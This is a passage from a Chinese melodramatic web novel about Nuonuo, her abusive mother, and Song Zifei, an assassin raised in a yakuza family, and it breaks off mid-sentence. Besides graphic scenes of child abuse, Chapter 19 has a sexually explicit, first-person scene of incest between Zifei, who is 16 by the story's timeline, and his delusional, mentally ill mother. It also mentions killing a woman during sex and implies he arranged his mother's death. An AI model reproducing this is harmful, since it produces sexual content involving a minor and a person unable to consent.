“病人由于失血过多,现在仍处于昏迷的阶段。不过请放心,24小时之内病
人便会苏醒过来。”
“那他……已经没有生命危险了吧?”身旁的咲夜凉担忧地询问道。
“病人暂时已经脱离了危险。”推了推鼻梁上的眼镜,神色凝重地瞟望着眼
前的两人,“但是……他的右手却已经废了,虽然抢救及时,但是……”
什么?不敢置信地望着这个全日本最具权威性的神经外科医生,感到茫然若
失。
“难道……没有办法痊愈?”身旁的声音小心翼翼地响起。
“由于病人的整个右手的神经系统遭到了粉碎性的破坏,再次进行手术的可
能性几乎为零。所以……”无奈地摇了摇头,“即便病人以后进行复健,希望也
十分地渺茫。”
我麻木地望着宋子非的右手,脑海中犹记得当时的情景……
我很清楚地知道自己恨他之入骨,无时无刻不想着要亲手杀了他。然而,我
却宁愿自己亲手杀了他,也不愿意见到他因为我而受到伤害。
哈哈……很可笑的矛盾,是吧?
我自嘲地微笑着,感觉到自己就像犯了罪,犯了一个不可饶恕的罪……
晨曦,宋子非在昏睡了足足14个小时后,终于苏醒了过来。望着他尽显憔悴
的双颊,没来由的,我一阵心绞。
昨夜,我想了一个晚上。我心里很清楚,宋子非对我的情意绝容不得半点虚
假,然,我却始终无法对他敞开心扉。
平静地,没有任何不甘与绝望,只是很麻木地决定,从今往后,我会一直照
顾宋子非于左右。不为别的,只因为我犯了一个罪,一个不容饶恕的罪。我对他,
是绝搀杂不下任何情和意的,对于一个已经没有了心的人来说,是没有办法来承
载已经超过负荷的东西的,于他,只是很单纯的目的,我会一直等到宋子非厌倦
了我,抛弃了我为止。
“诺诺……”宋子非疲惫而沙哑的声音轻声响起。
“需要什么吗?”我语气轻缓地询问道。
没有听到预期中的回答,本就寂静的病房内更是一片死寂般得沉闷,压得人
喘不过气来。
“我去拿杯水。”对他,我还是不习惯于面对,更确切的是,难以面对。
想来也是,任谁都会,很难以接受。前一刻,还是恨之入骨的仇人,但是,
现在,却决定要照顾其一辈子。任谁看来,这简直就是荒谬地可笑啊。
然,想到昨天的那一幕,当我惊慌地凝望着他的右手,暗红色的血液浸满全
身时,我感到的是一片茫然,随即,惊惧袭上心头。右手臂上,那淡得几乎已经
辨不出的胎记,是如此地熟悉,往事再现,历历在目,藏匿在最深处的记忆犹如
火山爆发般无法抑制地不断涌上我的脑海中,那是我到死也不会忘记的东西。
当时,我的泪水便不受抑制地倾泻而下,“语……哥哥……语哥哥……”我
开始不断地轻声呢喃着,凝望着宋子非早已昏迷的惨白脸庞。
“不要……不要离开我的身边……”宋子非虚弱地抬起左手,轻轻地抓住我
的裙角,无力地对欲站起身的我轻声道。
“嗯……”随即,我坐回沙发上,在他的左边位置。
“就这样……”宋子非的苍白的脸上无比地坚定,“就这样呆在我的身边,
好吗?”
我默默地任由他的左手紧紧地抓住我的右手……
************ ************ ************ ************ 13年前……
寒冬的夜晚,阴冷潮湿。母亲又喝得弥天烂醉得回到了家里,满身的酒气熏
得人很不好受。
然,打扮得花枝招展却仍掩盖不住妖媚气质的母亲站在家门口死死地盯着我,
我慌乱地急忙跑到她的身边,小心翼翼地扶着她进屋。
不料,却被她狠狠地一推,随即我便重重地摔到在地上,胳膊被一旁的桌子
角撞得生痛,估计身上又会多出一块淤青了。我吃痛地强忍着痛楚站起身,想要
继续搀扶着摇摇晃晃的母亲。
“啪……”火辣辣的五指印硬生生地被按在了脸上。
我有些埋怨地望着母亲,虽然从小都是被打骂着长大的,早应该习以为常了。
但是我却始终无法理解为什么我的母亲与别的孩子的母亲是如此地截然不同。
当他们还赖在母亲的怀抱里撒娇,亲亲的时候,我却要忍受着母亲的鞭打与
辱骂。
“你……你个小畜生……”酒精作祟,使得母亲的舌头在不知不觉中打着结,
“你给我……闭上你的眼睛,听到了没有?”
然,我却仍死死地凝望着母亲,试图想要借此来找出她是否与别的母亲有相
同的共同点。
“小……畜生,还不闭上你的眼睛。”母亲作势又要打我,却因为脚步不稳
而一个踉跄而跌倒在地上,“不要……不要用你那令人作呕的眼神看着我,”带
着莫名的些许哽咽。
“你……知不知道?”瞬即,她狠狠地拽住我的下巴,逼迫我直视她,“你
的眼神……就和你那个禽兽父亲一模一样,让人觉得恶心。”
这是母亲第一次在我面前讲起我的父亲,我只知道我是别人眼里的野种,一
些调皮的坏蛋会一边拿起石子砸向一边跑着向我做鬼脸,嘴里还不忘喊着,“野
种……野种……小野种……”
我感觉到自己的鼻子一酸,视线开始渐渐模糊起来,肩膀瑟缩着一颤一颤的。
“你……哭什么哭,啊?!”母亲嫌恶地放开我,“你凭什么资格在我面前
掉眼泪,要不是你这个畜生……”跌跌撞撞地撑着一旁的桌子想要站起身,却只
是徒然。我忙站起身走向目前的身前,举起手想要搀扶起她。
“不要碰我……”大声地呵斥着,随着“啪……”地一声,我瘦弱如骨的手
被狠狠地打向一旁,“滚……”随即毫不犹豫地直指着门外,“你给我……滚出
去,不要……再让我看到你……”
我的泪水再也抑制不住地夺眶而出,不顾一切地便拔腿跑了出去。
一路上阴冷寒瑟的寒风扑打在我的身上,只身穿在身上的那件破旧的毛衣根
本无法起到任何御寒的作用。然,我却仍拼了命似的奔跑着……
我瑟缩地跪坐在这空旷一片的墓地上,这里被安葬着的都是一些被遗忘或是
被遗弃的人,也就是所谓的“弃坟场”。
“你在这里干什么啊?”那犹如天籁般的声音致使我迫不及待地抬起头来望
向声音的主人。
站在我眼前的,是一个长得极其好看的大哥哥,一身纯白的衣服穿在他的身
上是如此地合适,迷人的微笑沁人心脾,宛如天使。
“小妹妹,这么晚了,你怎么不回家啊?”说着,便脱下他身上的外衣套在
我的身上。
我怔怔地望着他,似乎还没有回过神来,讷讷地说道,“天使……?!”
“呵呵……”他的声音给人的感觉是如此地温柔阳光,“我不是天使。”说
罢,便来到我的身旁坐下。
“那你是谁?”我泪眼婆纱地望着他,满是疑惑。为什么他会出现在这里,
难道他也和我一样,是个没人要的孩子吗?
“难道你不知道在问别人的名字之前,需要先做自我介绍吗?”微笑地望着
我。
我有些恼怒地望着他,似乎已经忘了那些伤心的事情。我别扭地撇过头,似
是在抗议。
好长时间,都没有听到那令人舒心的声音再次响起,我担忧地慢慢地转过头,
想要偷偷地看一下,却不巧,正撞上他在似笑非笑地望着我。
我有些气结,很不甘心地撇了撇嘴,“诺诺……言诺。”
“哈哈……”肆无忌惮的笑声届时扬起,“那我就叫言语,以后你就叫我语
哥哥吧……”
7 岁的我,已经偏向于早熟型,我想,任谁在那样的环境下生活,都会比同
龄的孩子懂得更多,看得更透彻。而我也清楚地知道,这并不是他的真名,但我
却很喜欢这个名字。言诺,言语,我呢喃地念着,痴痴地笑了起来……
Chapter.17从那之后,只要一有空闲,我便会到“弃坟场”找语哥哥。然,
每次他都会在那儿。仍旧是一身白衣,远远地便可以看到他。
也许,那一段时光对于我来说是一生中最快乐,也是最开心的。截然不同于
宋子文带给我的温馨与和谐。
“语哥哥……”我兴奋地跑到他面前。
我的心里很清楚,站在他的面前,我永远都是一只丑小鸭。蓬乱稀疏的泛黄
长发,近似于活死人般的惨白脸色,深陷于脸颊的大眼睛,几乎占近整张的三分
之一,外加一身的瘦骨嶙峋。我俩站在一起,是如此地不伦不类。
但是,我不介意,因为我知道,语哥哥也不会介意。
起初,我们的活动地点仅限于那个阴森恐怖的“弃坟场”,在那里,语哥哥
会陪我玩耍,会讲故事给我听,还会带好多好多我从来没有见过与尝过的零食。
那个时候,我觉得,对于我来说,语哥哥就像是一个天使,真正的天使。他
会在我觉得难受和委屈的时候陪伴在我的身边,给予我温暖和快乐。
************ ************ ************ ************ “小杂种……”
母亲庸懒的声音从我身后响起,顿时定住了我正往外走的身体,“这些天你
都上哪儿野去了?连个鬼影都看不到。”
本就打算赶去“弃坟场”的我,被这么一喝,十分惊慌地回转过身,脑袋低
低地耷拉着,心惊胆战地望着因年代已久而破裂的地缝。
“说啊……我在问你话呢。”狠狠地推了我一把,一个踉跄差点摔到在地上。
我忐忑不安地望着母亲,在她的眼里还是那一贯的嫌恶表情。
“我……我……”我结结巴巴地不知道该怎么回答。
“啪……”不由分说地,又是一个火辣辣的五指印硬生生地贴上脸庞。
“贱人,”瞬即,死死地拽起我那本就如稻草般杂乱的头发,“小小年纪就
学会到外面勾引男人,啊?!你还知不知道廉耻啊?!”
难道母亲已经知道语哥哥的存在了?可是我没有,没有不知道廉耻。委屈的
泪水不听使唤地夺眶而出,我任由母亲拽着我的头发泄愤。
因为,我知道。想来是母亲又在外面遇到了不顺心的事情了,她才会如此对
待我。我已经习惯了,不是吗?
“果然是血亲啊,流得都是同样的血。”难道母亲就这么恨我?!轻蔑的语
气,使我不得不怀疑。
“你和那个禽兽一样,尽知道干一些龌龊,见不得人的事情。”心灰意冷。
母亲,既然您如此厌恶我,当初又为何要生下我呢?!
“我没有……”不知道是哪来的力气,我拼命地挣脱开母亲的钳制,语气强
烈而坚定地大喊道。
“你……”许是被我突然的举动给怔住了,她有些失神地凝望着我,“你竟
然敢顶撞我?”眼里满是不敢置信。
“啪……啪……”再次被扇了两个巴掌,我的脸早已麻木,嘴角也渗出了鲜
血。渐渐地,一股血腥味蔓延开来,夹杂着的是令人难受的咸腥味。
母亲从来没有使出全力地打过我,这是第一次。我伤心欲绝地望着母亲,眼
里满是伤痛和绝望。
随即,拔腿就跑出了家门,留下了独自还在那儿怔楞着的母亲。也许,她自
己也被吓了一跳,出手居然会如此狠心。然,此时,我已经顾不了这些了。
我绝望地奔跑着,一路上,泪水不可抑制地滑落下来。我不清楚,自己将跑
向何处,我只知道,一味地向前跑着。
“诺诺……”谁?是谁在叫我?
泪水早已经模糊了我的视线,我只知道眼前的一切都是一片茫然。我亦没有
直奔向“弃坟场”,而是漫无边镜地跑着。因为我不想语哥哥看到现在这样的我,
我不要,我不要。
“诺诺……”叫喊声夹带着明显的焦急和忧虑。
是语哥哥吗?没错,是他。也唯有语哥哥的声音才会如此地好听,宛如天籁。
“诺诺……”焦虑声更加清晰,我疑虑地想要回头,可是,可是……
“站在那儿不要动,”强若镇定的语气,“乖……”
为什么?但是,我还是很听话的停下了脚步,“对,就是这个样子,不要动。”
待我定下心神来,环顾一望,这里是哪里?我的脚……
我猛得被震醒,为什么?为什么我会来到这里?“笛……”我听到了开往这
里的火车,模糊的汽笛声。
怎么办?怎么办?我的泪水流地更凶了。惊慌失措地望向正朝我跑过来的语
哥哥,又望向被卡在火车轨道里的脚。
“语……哥哥……语哥哥……”带着明显的哭腔喊着正气喘吁吁地来到我面
前的语哥哥。
“诺诺,别怕。”蹲在我的脚边,急忙帮我挣脱卡在轨道里的脚。“语哥哥
在这儿。”
然,事情却远没有想像中的简单,我的脚还是一如之前一样硬生生地被卡在
那里。“笛……”刺耳的汽笛声越来越清晰,我知道,火车将在不久后便会经过
这里。
怎么办?怎么办?我焦急万分地望着同样焦虑的语哥哥。我已经可以清楚地
看到火车头了,相信语哥哥也同样已经听到了火车“轰隆隆……”的前行声。
“放开我……”我不要两个人都遭殃,我一个人便可以了。反正我是个没人
要的孩子,活在这个世上本就是一种错误的开始。
“你走啊……走啊……”我声撕揭底地狂喊着,想要掩盖过吵杂的汽笛声,
双手亦在一旁急忙地推搡着他。
然,却只是徒然。语哥哥根本就不管我如何地叫喊与挣扎,丝毫不肯放弃。
眼看着,火车就在我的眼前,近在咫尺。我绝望地凝望着语哥哥,却异常地
平静。
“轰隆隆……笛……”混杂的声音使我缓缓地闭上双眼,等着命运的到来。
“咻……”本该降临在身上的感知没有发生,取而代之的却是感到一阵沉闷
的撞击声,整个身体都感觉快要散架了般。
“血……”猛得睁开双眼,映入眼帘的便是语哥哥血肉模糊的右手臂。纯白
的外套袖子被撕裂了,夹杂着泥土的灰色,四周围的血液也早已韵化开来,给人
以一种别样的妖艳感。
“诺诺……不要哭。”语哥哥一边安慰着手足无措的我,一边扯下另一边完
好的衣袖紧紧地扎在血流不止的右手臂上。
“好多血……语哥哥你会不会死?”我并没有问他痛不痛,因为从他惨白毫
无血色的脸庞上我便看出了他在强忍着痛楚,额上布满了汗水。
“傻丫头,语哥哥没事。”说着,还伸出左手替我擦去脸上的泪水以及血迹,
还不忘与我开玩笑,“你看,都快成小花猫了,丑死了。”
“讨厌……”我哭笑地嚷道。
“一下哭一下笑,小心以后没人要哦?!”语气中的调侃意味十足。
“我才不要嫁人呢。”脸上的笑意抑然停止。
“为什么?”疑惑地询问我。
“因为……因为没有人会愿意要一个野种的。”我的声音很小,几近于呢喃。
“诺诺……”心疼的语气表露无疑,轻轻地单手环抱住我,“以后等你长大
了,嫁给语哥哥,好吗?”
我没有回答,只是静静地躺在他的怀抱中,享受着那沁人心脾的味道,它会
毫无保留地带给我舒心与平静。
“如果,哪天语哥哥不见了。诺诺也肯定可以很快地便找到语哥哥的。”我
痴痴地凝望着那本不是一个胎记,而是因为我而生生烙在上面的印记……
* * * 我瑟缩地躲坐在教堂一边阶梯上的角落里,凝望着漫天飞舞的雪花,
伸出手早已被冻得通红的双手,接过从天飘下的一片雪花,欣喜地缩回手想要抓
住它,却不待我看清,便已经化了。
圣诞节,在语哥哥告诉我之前,我从来都不知道它的存在。
我已经在教堂外足足等了他三个小时了。语哥哥对我说,想要在平安夜的夜
晚与我一起度过,迎接着圣诞节的到来。
可为什么?他到现在都还没有出现呢?诺诺好冷,脚早已冻得麻痹了,毫无
感知,全身都是冰冷。诺诺今天特地穿上了隔壁奶奶去年替我重新改做的她曾经
穿过的老棉袄,还把自己洗得香喷喷的,虽然冷水快要把诺诺冻僵了,也偷偷地
用了妈妈的梳子,把自己的长发梳得顺顺的。
………………
语哥哥,你快点来啊。诺诺快要坚持不住了,刚刚12点的钟声已经响起,圣
诞节已经到来了,可是你在哪儿呢?
………………
雪越下越大了,街上的行人也越来越少了,教堂里除了那个高高,大大的圣
诞树以外,一片都是漆黑。诺诺,好害怕啊。不过,诺诺不怕,会乖乖地在这儿
等你的。语哥哥,你可要快快赶来哦。
………………
“小鬼……你在这儿干什么?”一个长得又脏又丑的胖大叔向我走过来。
我害怕地盯着眼前的大叔,他身上的味道好难闻啊。语哥哥,你现在在哪里
啊?
“小鬼……来,叔叔带你去吃好吃的。”说罢,还探出肥肥的油猪手向我伸
过来。
“啊……”我鼓起勇气狠狠地推开他,拔腿便没命了似的逃跑着。身怕那个
臭臭的大叔会追上我。
………………
语哥哥,我现在在我们的“弃坟场”等着你。你待会到了教堂看不到我,会
知道来这儿找我吗?
………………
我漫无目的地行走在大街上,刺骨的寒风扑打在我的脸上,身上。语哥哥,
我想要去找你。可是,我不知道你住在哪儿。
………………
语哥哥,我听到不远处山顶上的大钟沉闷地敲打了四下。我要回家了,不然
母亲又要打我了。对不起,语哥哥,我没能遵守承诺,和你一起度过圣诞节。
………………
我行尸走肉般地走在回家的路上,脑子里想得都是语哥哥的身影。我不明白,
为什么语哥哥今天没有来,难道,他已经开始讨厌诺诺了吗?
泪水在不知不觉间流了满脸,我狠狠地往脸上一擦,伴随的是生冷冷的刺痛。
诺诺以后会很乖的,所以,语哥哥你不要抛下诺诺,别不要诺诺。
不知道走了多长时间,我已经走到了家门口。我小心瑟瑟地打开家门,然,
我看到的却是……
“啊……啊啊……”头好痛,我看到什么,到底看到了什么?
我紧紧地抱住自己,拼命地回想着当时的情景,是什么,是什么?头痛欲裂,
接下来到底发生了什么事情?为什么?为什么后面发生的我就是想不起来呢?
不止是这些,7 岁那年的很多事情在我的脑海中都印象模糊。就像是一面镜
子的碎片般,破碎不堪。
难道是,我的记忆被催眠尘封了?!
Chapter.18宋子非,宋氏家族第三代次子。然,这只是从出生开始被别人烙
上的名号罢了,于它,我从来都是不屑的。
3 岁那年,我跟随母亲来到了日本。那时的她,早已在不知情的情况下罹患
上了轻微的神经衰弱症。
我的父亲,看上了别的女人,却仍可以厚颜无耻地把理由编得冠冕堂皇。所
以,他对于我而言,只是一个不相关的人,是曾经给予我一半基因的人。
我的母亲,从小便是个孤儿。年幼时的她,是生存在城市中最肮脏,最黑暗
的地方。每每为了温饱而受尽折磨。偶然的机会,致使她成为了宋氏宅抵的下人。
值得庆幸的是,她因此而脱离了挨饿受冻的日子。
然,这种日子并没有维持多长时间。一次意外之下,被宋仕垸看到了容貌出
众,气质脱俗的母亲。从此,她便成为了他的专属女佣。
一直以来,宋家大少的风流事迹都是上流社会的话题。想当然而,我的母亲
亦没有逃出他的手新。不久之后,便成为了他的情妇之一,确切的来说,以她的
身份充其量不过为只是他的床伴而已。
对于宋子文,宋氏家族第三代长子,我的大哥的出生。这对于母亲来说,不
知是幸或是不幸。当时的宋家老太,孤身一人,期盼于抱孙养老。故,看待于长
孙的出生,无疑是对母亲的地位起到了无可厚非的奠基作用。很快地,母亲便在
宋家老太的张罗下以及那人极其不请愿的情况下被迎娶进了宋家。
然,母亲并没有因此而改变了她的地位。对于她的低微身份,他从来都不会
正眼观之。从我懂得了母亲的意义存在了之后,我便时常可以看到母亲的强颜欢
笑以及郁郁寡欢。
我想,估计从未有人会想到那样一个社会最底层的女人竟会是日本最具势力
的黑道组织“夜王”的唯一继承人咲夜氷河的亲生妹妹。
当咲夜氷河找到母亲的时候,宋仕垸不知道正在与他的第几任情人处于热火
朝天之中。对于我们,他从来都是不闻不问的。只除了宋子文,他从出生开始便
由常年居住在瑞士的宋家老太抚养,当时的母亲为此不知默默地留下过多少泪水。
母亲对于与自己的亲生哥哥相认,心中是欣喜不已的。对于母亲这种温柔谦
顺的女人来说,家人无疑是她唯一重视的。
宋仕垸的冷落,使得母亲拥有足够的自由时间与自己的哥哥相聚。在咲夜氷
河来找母亲之前,便知道了母亲的生活是如此地惨淡与悲莘。他极力要求母亲与
他一起回去日本。她本就是日本“夜氏”家族的胤女,即所谓的公主。宋家在他
们的眼里就犹如是一只蝼蚁般,随时都可以撵死而不费吹灰之力。
然,母亲却不赞同。对于宋仕垸,她早已在不知不觉中衍生了深深的感情。
她始终坚信着,只要苦苦坚守等待,他终会有一天来到她的身边的。
痴情的傻女人永远都是最可悲的。
要知道,那时的宋仕垸早已被一个叫梓嫒的女人迷得神魂颠倒。对于他来说,
母亲只是他繁衍后代的工具罢了。对于早已为他生下两个儿子的母亲,他早就已
经厌烦之至。
当宋仕垸在一次午夜回家,想要与母亲摊牌的时候。见到母亲正依偎在亲人
的怀中低泣,这无疑成为了他大做文章的好时机,他狠狠地斥责母亲的不守妇道,
肮脏污秽的字眼强行地灌输在母亲的身上,丝毫不给予她任何的解释机会。
咲夜氷河终于忍无可忍,大力地推开了死命阻拦着他的母亲。不料,母亲却
因此而失足发生了意外。
“夜氏”家族的势力是绝不容小窥的。宋仕垸为此付出了惨重的代价,终身
无法再近女色。想必,这对于他对说,无疑是最痛苦的惩罚吧。
咲夜氷河在母亲伤愈之后,便带着我们母子二人回到了日本……
日复一日,母亲的精神状态愈加严重。她开始会市场出现莫名的自言自语。
我知道,那是她在妄做幻想,幻想着自己与宋仕垸的感情。
5 岁那年,咲夜氷河把我带离了母亲的身边,开始亲手抚养我。
终究还是被他发现了我身上那些触目惊心的淤青以及血迹斑斑的伤痕,尽管
我一直在极力地掩藏着一切,却仍无法逃过他的眼睛。
2 年的时间,致使母亲被诊断为患有严重的神经衰弱偏执症。然,没有了我
在她的身边,她的情绪开始再也无法得到更好的发泄,以致于她开始了一系列惨
不忍睹的自虐行为。
我并没有因此而痛恨我的母亲对我所做过的一切,也没有哭喊着去阻止母亲
的那些所谓的自残行为。因为我知道,这是她至今为止还没有出现彻底崩溃的唯
一原因。
然,我的久久却终究还是无法再忍受着母亲的这种疯狂举动,派人把她送到
了美国最好的精神治疗中心进行治疗。
对于母亲的离开,并没有对我带来太多的打击与伤害,反倒是另有其人。
咲夜凉,我的堂兄,从小便患有先天性心脏衰竭。故,舅舅从未强迫要求他
生存于“夜王”中。
然,可笑的是,谁都没有想到,包括他的父亲,咲夜氷河。体弱多病的他心
中居然会滋生着畸形的感情——他对我的母亲,也就是他的姑母产生了爱情,一
直以来难以抑制,以致于无法自拔。
我永远都不会忘记当年9 岁时的他见到我的母亲时的神情,是如此地灼热和
茫然。直到2 年后,母亲的离开,他又是如此地失落与悲哀。我想,那将是他心
中始终无法磨灭的情罢……
“神龙”与“夜王”是可以相提并论的两大亚洲黑暗势力组织。只不过“神
龙”有着更为严谨的密训组织,这是“夜王”所不能及的。然,两大势力组织向
来是井水不犯河水的,却终有例外的时候。
我的第一个任务,是在16岁那年,回国实行暗杀。相隔13年的第一次回国,
并没有给我带来多大的感触。但是,却成为了我一生的痛魇……
如果说,当年的我不知道真相;如果说,当日的我没有来到那片荒芜之地;
如果说,那时的我没有心生怜惜之意。那么,也许一切的一切的都将会截然不同
吧。
当那个悲惨却又倔强的小女孩出现在我的生命中,并在那里深深地扎了根,
是我一直始料未及的。在那之前,我一直以为自己的这一生命中都不会出现比生
命更为重要的东西。
那时的她就像是一个被折断了幸福翅膀的天使,使我注定了这辈子都将围绕
着她……
然,命运总是喜于捉弄于人。短暂的欢愉时光是如此地不堪一击。当一切真
相揭晓的那一刻起,它就恍如像是一抹精致的水晶般一击即碎,顿时粉身碎骨…

有很多事情,都是非我所能掌控的。我从未料到当年窃取日本庞大势力组织
机密要件的人物竟然会是一个女人,一个堕落的女人。然,让我更为惊讶的却是
另有其事。所有的一切,一切意外就像是个无形的无底黑洞般向我袭来,致使当
时那个懦弱不堪的我不得不在事后被迫逃离。
与你的相识,注定了将会是一个悲剧……
然,诺诺,我的诺诺……
你是否还曾记得,记得你曾经说过的那句……
“如果,哪天语哥哥不见了。诺诺也肯定可以很快地便找到语哥哥的。”
Chapter.19“我见到她了。”我静坐在母亲的面前,她的目光呆滞,却依旧
美丽如昔,和煦的阳光挥洒在她的身上,是如此地和谐。而她,却只是凝视着眺
望着远方,似是在期盼着某人的到来。
“那个毁了你一生的女人。”我接着继续平静地说道,随即站起身来到她的
眼前,双手紧紧地握住轮椅的扶手两侧,从上而下地俯视于她。
“至少这是你所认为的,不是吗?”我扬起嘴角的弧度,笑意瞬即溢上我的
眼底,死死地注视着眼前的女人,“母亲。”
渐渐地,母亲的目光开始失去焦距,眼神亦涣散不济。瘦若枯柴的双手紧紧
地交错在一起,指关节早已攥至泛白见骨。
“哈哈……哈哈哈……”我开始竭撕底里地狂笑着,疯狂的,狰狞的以及丑
陋的,就在我的母亲面前,似是永不会停歇般。
望着她愈发惨白的脸色以及惊恐的眼神,全身亦开始坐立不安,瑟缩发抖。
然,我却笑得更加猖狂,母亲的一切反映都在我的意料之中……
第一次的任务,对于其本身的性质来说是圆满地完成了。但是,那无形的压
力却压致我喘不过来,让我不得不急需要找个地方来发泄一下这令人窒息的一切。
故,任务完成后,我并没有回到日本,而是直接飞往了美国,来见一见我亲
爱的母亲,那个可以为了爱舍弃一切,却赔上了自己可悲的一生。
“母亲……”直至我的泪水开始不听使唤地不断溢出,笑至快要岔气了般,
我才停止了那令人毛骨悚然的笑声,嘶哑着声音柔声地唤道,却让人感到更加惊
恐不安,“请看着我……”
我轻柔地抚上母亲的双颊,感到手中碰触到的是一阵颤抖,母亲的神情充满
了不安与惊慌,“还记得吗?这张脸,”声音愈发轻柔,“是不是很熟悉?!”
母亲的泪水盈上眼眶,紧咬着的双唇亦开始渗出殷红的血液,“仕垸……”
精神亦开始崩溃。
“对,”我的笑意无限制地扩大,深不见底,“和……那个男人的脸是不是
很像?”我轻轻地抚摸着母亲苍白如白纸般的脸颊,大拇指温柔地拭去她那早已
倾泻而下的泪水。
“仕垸……仕垸……”母亲不断地呼唤着眼前的“父亲”,“仕垸……你终
于肯来见我了。”
“我等了你好久,终于把你给等到了。”母亲缓缓地倾身来到我的身前,我
感到一张苍凉柔软的双唇贴至我的唇上,声音亦开始模糊不清,“我就知道,你
一定不会抛下我的,你是爱我的,对吗?”母亲的眼底是从未有过的欢愉以及幸
福。
然,却是畸形的一切……
“仕垸……”两人之间的吻开始由最初的碰触渐渐加深,夹杂着对方的口水
以及气息,呼吸亦开始不断地加重,以至于到最后的粗喘,“抱……抱我……”
禁忌的暧昧气息顿时弥漫于整个空间,幻化至一发不可收拾……
* * * 母亲紧紧交错在一起的双手,此时正开始不耐地抚上我的胸前,嫩
滑的丁香小舌正不规矩地滑过的脸颊,吻上我的耳垂,在那儿轻舔撕咬。
我的气息开始愈加沉重,额间亦浮上汗珠,我不受控制地低哄了一声,随即
便抱起母亲,心急如焚。
堕落的欲望正蔓延开来……
我把母亲放在白色的床上,白色的睡衣交杂在一起是如此圣洁的假想,却让
我感到刺眼无比。我粗暴地撕扯掉母亲的睡衣。
“仕垸……仕垸……”母亲的声音中有着明显的情欲,也是最好的催情剂,
迫使我不顾一切地迅速解下身上的束缚。
欺压上母亲光滑如丝的雪白铜体上,母亲那瘦弱的双手亦开始不安分地抚上
我的肌肤,致使我的身体开始越来越热,失去了自制力。
“啊……”母亲惨绝的尖叫声顿时响起,在没有任何前戏的情况下我贯穿至
母亲的身体内。
“好痛……”母亲虚弱地声音低呼着,“啊……啊啊……”
我开始不规则地律动着,即使体内仍干涩地令人难以插入,却仍丝毫不能阻
碍于我。
“啊……恩……啊啊……恩……”随着抽插的时候的推移,母亲的体内开始
分泌出更多的蜜液,致使我更加顺畅的插入。
我的身上早已一片汗湿,一滴一滴地汗水亦不停歇地洒落在母亲圆润光滑的
胸脯上,我伸出罪恶的舌头轻舔上她的花蕾。
“恩……啊啊……唔……啊……”双重的感官刺激致使母亲的呻吟越来越大
声,淫荡至极。适才苍白毫无血色的脸庞亦开始浮上红晕。
“仕垸……”母亲的眼神迷离,半睁着双眼茫然地望着眼前的男人。
我的抽插开始不断地加快,加深……“啊……”我低哄出声,开始紧紧地搂
抱住母亲的身体,把头深深地埋在她的颈间,似是要把她深嵌入自己的身体里般。
“母亲……”我的声音亦夹杂着明显的沙哑,那是情欲的驱使,“是我……
非儿……你的非儿啊……“如鬼魅般地响彻在整个空间。
“啊……”
两道尖锐的嘶喊声顿时响起,混杂着母亲的尖叫声以及我的低哄声,我释放
了欲望的种子……
我迅速地把男根撤出了母亲的体内,母亲的私处周围是一片触目惊心的红肿,
糜烂的乳白色黏稠液体从她的私处内流泻出来。
母亲的眼神涣散,空洞无神,全身瘫软在白色的病床上,是如此地淫糜以及
堕落……
我冷眼旁观地望着还在床上颤抖不已的母亲,眼底却呈现出莫名的伤感与懊
恼。一切的一切都在我的计算之中,却只除了最后一场谢幕戏。至始至终,我都
万万没有想到自己会与母亲发生那所谓背叛伦理道德的乱伦关系。
然而,在情欲面前,一切都化为了乌有,如一缕青烟般幻散开来。
数个小时前,我的第一个女人在床上死在了我的手上,还是在我们正一起达
到了高潮的时候。然,我所承担的后果便是换来了一生的痛魇。
母亲是我的第二个女人,与那个女人只相差了数个小时,一趟路程的时间。
但是,她们都不是我爱的女人。
圣诞节的那日清晨,是我。是我,扼杀了所有美好的一切……
所以,当母亲向我吐出暧昧气息时,我没有断然拒绝,而是选择了与其一起
堕落。
* * * “少爷。”电话那头传来母亲看护的声音,一个曾杀死了自己的丈夫
与情人而被判刑为死刑的冷漠女人。
我没有出声,只是等着她继续说下去。我知道,她带来我要的消息。
“夫人,今日凌晨从天台跳楼身亡了。”丝毫听不出任何感情。
“啪……”挂断了电话。
母亲,不要怪我,我只不过是在帮助您尽快得到解脱罢了……
您知道吗?咲夜氷河他,他爱您。从小,他便爱上了自己的亲生妹妹。但,
当时身为“夜王”未来的继承人,在其身上发生如此有背伦理的禁忌之恋,是绝
不会被允许的。
故,作为亚洲最具势力的黑道家族,是容不得如此不堪的丑闻的。所以,您
便是被遗弃了的那一个。
然,当咲夜氷河成功地接掌了“夜王”之后,他便不惜当年一切,派了个女
人去勾引宋仕垸,让他对其死心塌地。
意外的是,那个女人曾经是“神龙”密报组织中的最具能力的要员之一,然,
最最重要的是她是我最爱的女人的母亲……
14年前,她成为了咲夜氷河的情妇,因而窃取了“夜王”的机密要件。然而,
却不料被咲夜氷河所识破,其实他一早便知道了一切,只是一直坐观其变罢了。
老狐狸……
所以,交换条件便是她答应替其去勾引宋仕垸,使其不受任何影响地让您回
到他的身边。至于那个女人,她也得到了自己想要的东西。
不可否认的是,她确实是个有着十足魅力的女人,有着足够的资本,妖艳魅
惑,估计很难有男人可以逃离她的手掌。当然,我也不会除外。
母亲,您……如他所愿地回到了他的身边。即使,他一辈子都不能得到您的
身体。
然,可笑的是,一生如他,对此却失策了。他万万没有料到你是如此地爱着
宋仕垸。因此,在他身边的只是一具躯壳罢了,骨子里却已经疯疯癫癫了。
没过几年,他便受不了了您的极端行为,把您送往了美国。原来,他对您的
爱,是如此这般地肤浅……
听乔治医生说,您最近的精神情况越来越佳。
看来,在有生之年,康复的可能性不是没有?!母亲,您放心。我是绝不会
让你有机会回到那只老狐狸的身边,不然的话,您将会更加生不如死……
故,我要想办法,替你得到解脱……
Chapter.20母亲的死带给了咲夜氷河极至的痛苦与悲伤,但是,在我眼里却
是如此的不堪与丑陋,甚至于恶心。就如同看我自己一般,放荡,肮脏以至于淫
猥。
且,每当我与咲夜凉四目相视的时候,深深刺扎入我眼的却是他眼底那一抹
悲愤以及怜悯,让我痛苦无奈。
又一个13年的时间,对我来说亦如同是另一个地狱,备受煎熬与罪责。然,
更多的还是于思念,盲目且麻木。
每每想到我的诺诺,我的心便是一阵又一阵的抽痛,深入血液,深入骨髓,
痛苦难耐。
如果可以让我再重新选择一次的话,我绝不会再懦弱地放弃,狼狈地逃离。
哪怕前面是万丈深渊,但这也不及现在的千万分之一。
我要回去找她,一定要找到那个曾经对我微笑,为我哭泣的小女孩。重新再
一次地把她拥抱于怀中,遵守当年的承诺,好好地痛惜她,爱护她。哪怕,她不
原谅我,哪怕,她恨我。我也希望可以待在她的身边,看着她,守着她,感受于
她。
我知道,没有她在身边的日子,是残缺的,永远都不会完美。
13年里,我不是没有去找过她,试图寻到她的痕迹。然,我的诺诺却象是在
